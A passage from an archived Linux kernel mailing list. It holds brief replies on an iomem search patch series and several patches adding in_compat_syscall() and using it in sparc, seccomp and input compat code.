> again to everyone on CC so that people don't act surprised.

Sounds great.

> Thanks for this cleanup, code looks much better now!

Thanks!
-Toshi

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <bp@alien8.de>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel.kexec,gmane.linux.kernel.samsung-soc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3 00/17] Enhance iomem search interfaces and support
 EINJ to NVDIMM
Date: Mon, 25 Jan 2016 22:49:56 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20160125214956.GD4322@pd.tnic>
References: <1452020068-26492-1-git-send-email-toshi.kani@hpe.com>
 <20160125191804.GE14030@pd.tnic>
 <1453757661.834.99.camel@hpe.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1453758615 20660 80.91.229.3 (25 Jan 2016 21:50:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 21:50:15 +0000 (UTC)
Cc: akpm@linux-foundation.org, torvalds@linux-foundation.org,
	rafael.j.wysocki@intel.com, dan.j.williams@intel.com,
	dyoung@redhat.com, x86@kernel.org, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	kexec@lists.infradead.org, xen-devel@lists.xenproject.org,
	linux-samsung-soc@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mm@kvack.org, linux-nvdimm@lists.01.org,
	linux-acpi@vger.kernel.org, linux-kernel@vger.kernel.org
To: Toshi Kani <toshi.kani@hpe.com>
Original-X-From: linux-acpi-owner@vger.kernel.org Mon Jan 25 22:50:07 2016
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1aNp1R-0003Il-DN
	for glad-acpi-devel@plane.gmane.org; Mon, 25 Jan 2016 22:50:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932395AbcAYVuC (ORCPT <rfc822;glad-acpi-devel@m.gmane.org>);
	Mon, 25 Jan 2016 16:50:02 -0500
Original-Received: from mail.skyhub.de ([78.46.96.112]:43834 "EHLO mail.skyhub.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932393AbcAYVuA (ORCPT <rfc822;linux-acpi@vger.kernel.org>);
	Mon, 25 Jan 2016 16:50:00 -0500
X-Virus-Scanned: Nedap ESD1 at mail.skyhub.de
Original-Received: from mail.skyhub.de ([127.0.0.1])
	by localhost (door.skyhub.de [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id mWA4Z92-AmmR; Mon, 25 Jan 2016 22:49:57 +0100 (CET)
Original-Received: from pd.tnic (p548958E9.dip0.t-ipconnect.de [84.137.88.233])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mail.skyhub.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id 45486245A96;
	Mon, 25 Jan 2016 22:49:57 +0100 (CET)
Original-Received: by pd.tnic (Postfix, from userid 1000)
	id A5D58160C7D; Mon, 25 Jan 2016 22:49:56 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1453757661.834.99.camel@hpe.com>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
Xref: news.gmane.org gmane.linux.acpi.devel:81401 gmane.linux.ports.ia64:26250 gmane.linux.ports.parisc:26429 gmane.linux.ports.sh.devel:53207 gmane.linux.kernel.kexec:15201 gmane.linux.kernel.samsung-soc:51509 gmane.linux.kernel.cross-arch:30467 gmane.linux.kernel.mm:145034 gmane.linux.kernel:2135058
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/81401>

On Mon, Jan 25, 2016 at 02:34:21PM -0700, Toshi Kani wrote:
> I verified the patches and tested the kernel in the tree. All look
> good.

Thanks!

-- 
Regards/Gruss,
    Boris.

ECO tip #101: Trim your mails when you reply.
--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: [PATCH v2 01/16] compat: Add in_compat_syscall to ask whether we're in a compat syscall
Date: Mon, 25 Jan 2016 14:24:15 -0800
Lines: 51
Approved: news@gmane.org
Message-ID: <4cd121066a85fe57356569e3bae28fe9d7098806.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760701 21735 80.91.229.3 (25 Jan 2016 22:25:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:25:01 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 25 23:24:54 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aNpZ6-0004i8-Rn
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Jan 2016 23:24:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932805AbcAYWYu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Jan 2016 17:24:50 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:49769 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932756AbcAYWYo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Jan 2016 17:24:44 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id 6E1F820389;
	Mon, 25 Jan 2016 22:24:42 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id A264D20376;
	Mon, 25 Jan 2016 22:24:41 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26430 gmane.linux.kernel.cross-arch:30468 gmane.linux.ports.mips.general:52516 gmane.linux.ports.sparc:22233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26430>

A lot of code currently abuses is_compat_task to determine this.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 include/linux/compat.h | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/include/linux/compat.h b/include/linux/compat.h
index a76c9172b2eb..f911bcec618f 100644
--- a/include/linux/compat.h
+++ b/include/linux/compat.h
@@ -5,6 +5,8 @@
  * syscall compatibility layer.
  */
 
+#include <linux/types.h>
+
 #ifdef CONFIG_COMPAT
 
 #include <linux/stat.h>
@@ -713,9 +715,22 @@ asmlinkage long compat_sys_sched_rr_get_interval(compat_pid_t pid,
 
 asmlinkage long compat_sys_fanotify_mark(int, unsigned int, __u32, __u32,
 					    int, const char __user *);
+
+/*
+ * For most but not all architectures, "am I in a compat syscall?" and
+ * "am I a compat task?" are the same question.  For architectures on which
+ * they aren't the same question, arch code can override in_compat_syscall.
+ */
+
+#ifndef in_compat_syscall
+static inline bool in_compat_syscall(void) { return is_compat_task(); }
+#endif
+
 #else
 
 #define is_compat_task() (0)
+static inline bool in_compat_syscall(void) { return false; }
 
 #endif /* CONFIG_COMPAT */
+
 #endif /* _LINUX_COMPAT_H */
-- 
2.5.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: [PATCH v2 03/16] sparc/syscall: Fix syscall_get_arch
Date: Mon, 25 Jan 2016 14:24:17 -0800
Lines: 46
Approved: news@gmane.org
Message-ID: <dc060687116306416e656e25c6a02611bf6e894e.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760708 21850 80.91.229.3 (25 Jan 2016 22:25:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:25:08 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 25 23:25:01 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aNpZD-0004i8-Mb
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Jan 2016 23:25:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932968AbcAYWY6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Jan 2016 17:24:58 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:49814 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932764AbcAYWYp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Jan 2016 17:24:45 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id B5D4F20392;
	Mon, 25 Jan 2016 22:24:44 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id F296320395;
	Mon, 25 Jan 2016 22:24:43 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26431 gmane.linux.kernel.cross-arch:30469 gmane.linux.ports.mips.general:52518 gmane.linux.ports.sparc:22234
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26431>

Sparc's syscall_get_arch was buggy: it returned the task arch, not the
syscall arch.  This could confuse seccomp and audit.

I don't think this is as bad for seccomp as it looks: sparc's
32-bit and 64-bit syscalls are numbered the same.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 arch/sparc/include/asm/syscall.h | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/arch/sparc/include/asm/syscall.h b/arch/sparc/include/asm/syscall.h
index 49f71fd5b56e..1757cd6c521b 100644
--- a/arch/sparc/include/asm/syscall.h
+++ b/arch/sparc/include/asm/syscall.h
@@ -3,6 +3,7 @@
 
 #include <uapi/linux/audit.h>
 #include <linux/kernel.h>
+#include <linux/compat.h>
 #include <linux/sched.h>
 #include <asm/ptrace.h>
 #include <asm/thread_info.h>
@@ -128,7 +129,13 @@ static inline void syscall_set_arguments(struct task_struct *task,
 
 static inline int syscall_get_arch(void)
 {
-	return is_32bit_task() ? AUDIT_ARCH_SPARC : AUDIT_ARCH_SPARC64;
+#if defined(CONFIG_SPARC64) && defined(CONFIG_COMPAT)
+	return in_compat_syscall() ? AUDIT_ARCH_SPARC : AUDIT_ARCH_SPARC64;
+#elif defined(CONFIG_SPARC64)
+	return AUDIT_ARCH_SPARC64;
+#else
+	return AUDIT_ARCH_SPARC;
+#endif
 }
 
 #endif /* __ASM_SPARC_SYSCALL_H */
-- 
2.5.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: [PATCH v2 02/16] sparc/compat: Provide an accurate in_compat_syscall implementation
Date: Mon, 25 Jan 2016 14:24:16 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <e520030f750b29d14486aa1e99c271a0fa18f19e.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760708 21855 80.91.229.3 (25 Jan 2016 22:25:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:25:08 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jan 25 23:25:00 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1aNpZD-0004i8-2q
	for glka-linux-arch@plane.gmane.org; Mon, 25 Jan 2016 23:24:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932828AbcAYWYx (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 25 Jan 2016 17:24:53 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:49791 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932760AbcAYWYo (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Mon, 25 Jan 2016 17:24:44 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id 8921220376;
	Mon, 25 Jan 2016 22:24:43 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id D5A7C20392;
	Mon, 25 Jan 2016 22:24:42 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:30470 gmane.linux.ports.parisc:26432 gmane.linux.ports.mips.general:52519 gmane.linux.ports.sparc:22235
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/30470>

On sparc64 compat-enabled kernels, any task can make 32-bit and
64-bit syscalls.  is_compat_task returns true in 32-bit tasks, which
does not necessarily imply that the current syscall is 32-bit.

Provide an in_compat_syscall implementation that checks whether the
current syscall is compat.

As far as I know, sparc is the only architecture on which
is_compat_task checks the compat status of the task and on which the
compat status of a syscall can differ from the compat status of the
task.  On x86, is_compat_task checks the syscall type, not the task
type.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 arch/sparc/include/asm/compat.h | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h
index 830502fe62b4..5467404857fc 100644
--- a/arch/sparc/include/asm/compat.h
+++ b/arch/sparc/include/asm/compat.h
@@ -307,4 +307,10 @@ static inline int is_compat_task(void)
 	return test_thread_flag(TIF_32BIT);
 }
 
+static inline bool in_compat_syscall(void)
+{
+	return pt_regs_trap_type(current_pt_regs()) == 0x110;
+}
+#define in_compat_syscall in_compat_syscall
+
 #endif /* _ASM_SPARC64_COMPAT_H */
-- 
2.5.0


From - Thu Nov 08 21:38:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: [PATCH v2 04/16] seccomp: Check in_compat_syscall, not is_compat_task, in strict mode
Date: Mon, 25 Jan 2016 14:24:18 -0800
Lines: 43
Approved: news@gmane.org
Message-ID: <9cc3588071d4e31b035e0cf1d09483067df38823.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760710 21872 80.91.229.3 (25 Jan 2016 22:25:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:25:10 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 25 23:25:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aNpZE-0004i8-Ta
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Jan 2016 23:25:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932978AbcAYWY7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Jan 2016 17:24:59 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:49836 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932769AbcAYWYr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Jan 2016 17:24:47 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id D6FFB20395;
	Mon, 25 Jan 2016 22:24:45 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id 1B37C2039C;
	Mon, 25 Jan 2016 22:24:45 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26433 gmane.linux.kernel.cross-arch:30471 gmane.linux.ports.mips.general:52520 gmane.linux.ports.sparc:22236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26433>

Seccomp wants to know the syscall bitness, not the caller task
bitness, when it selects the syscall whitelist.

As far as I know, this makes no difference on any architecture, so
it's not a security problem.  (It generates identical code
everywhere except sparc, and, on sparc, the syscall numbering is the
same for both ABIs.)

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 kernel/seccomp.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/kernel/seccomp.c b/kernel/seccomp.c
index 580ac2d4024f..26858fa43a60 100644
--- a/kernel/seccomp.c
+++ b/kernel/seccomp.c
@@ -395,7 +395,7 @@ seccomp_prepare_user_filter(const char __user *user_filter)
 	struct seccomp_filter *filter = ERR_PTR(-EFAULT);
 
 #ifdef CONFIG_COMPAT
-	if (is_compat_task()) {
+	if (in_compat_syscall()) {
 		struct compat_sock_fprog fprog32;
 		if (copy_from_user(&fprog32, user_filter, sizeof(fprog32)))
 			goto out;
@@ -529,7 +529,7 @@ static void __secure_computing_strict(int this_syscall)
 {
 	int *syscall_whitelist = mode1_syscalls;
 #ifdef CONFIG_COMPAT
-	if (is_compat_task())
+	if (in_compat_syscall())
 		syscall_whitelist = mode1_syscalls_32;
 #endif
 	do {
-- 
2.5.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: [PATCH v2 14/16] input: Redefine INPUT_COMPAT_TEST as in_compat_syscall()
Date: Mon, 25 Jan 2016 14:24:28 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <64480084bc652d5fa91bf5cd4be979e2f1e4cf11.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760714 21920 80.91.229.3 (25 Jan 2016 22:25:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:25:14 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Jan 25 23:25:06 2016
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1aNpZK-0004rk-I7
	for lnx-sparclinux@plane.gmane.org; Mon, 25 Jan 2016 23:25:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933069AbcAYWZE (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Mon, 25 Jan 2016 17:25:04 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:50047 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932758AbcAYWY6 (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Mon, 25 Jan 2016 17:24:58 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id CC961203C0;
	Mon, 25 Jan 2016 22:24:56 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id 2C857203C2;
	Mon, 25 Jan 2016 22:24:56 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:22237 gmane.linux.kernel.cross-arch:30472 gmane.linux.ports.parisc:26434 gmane.linux.ports.mips.general:52521
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/22237>

The input compat code should work like all other compat code: for
32-bit syscalls, use the 32-bit ABI and for 64-bit syscalls, use the
64-bit ABI.  We have a helper for that (in_compat_syscall()): just
use it.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 drivers/input/input-compat.h | 12 +-----------
 1 file changed, 1 insertion(+), 11 deletions(-)

diff --git a/drivers/input/input-compat.h b/drivers/input/input-compat.h
index 148f66fe3205..0f25878d5fa2 100644
--- a/drivers/input/input-compat.h
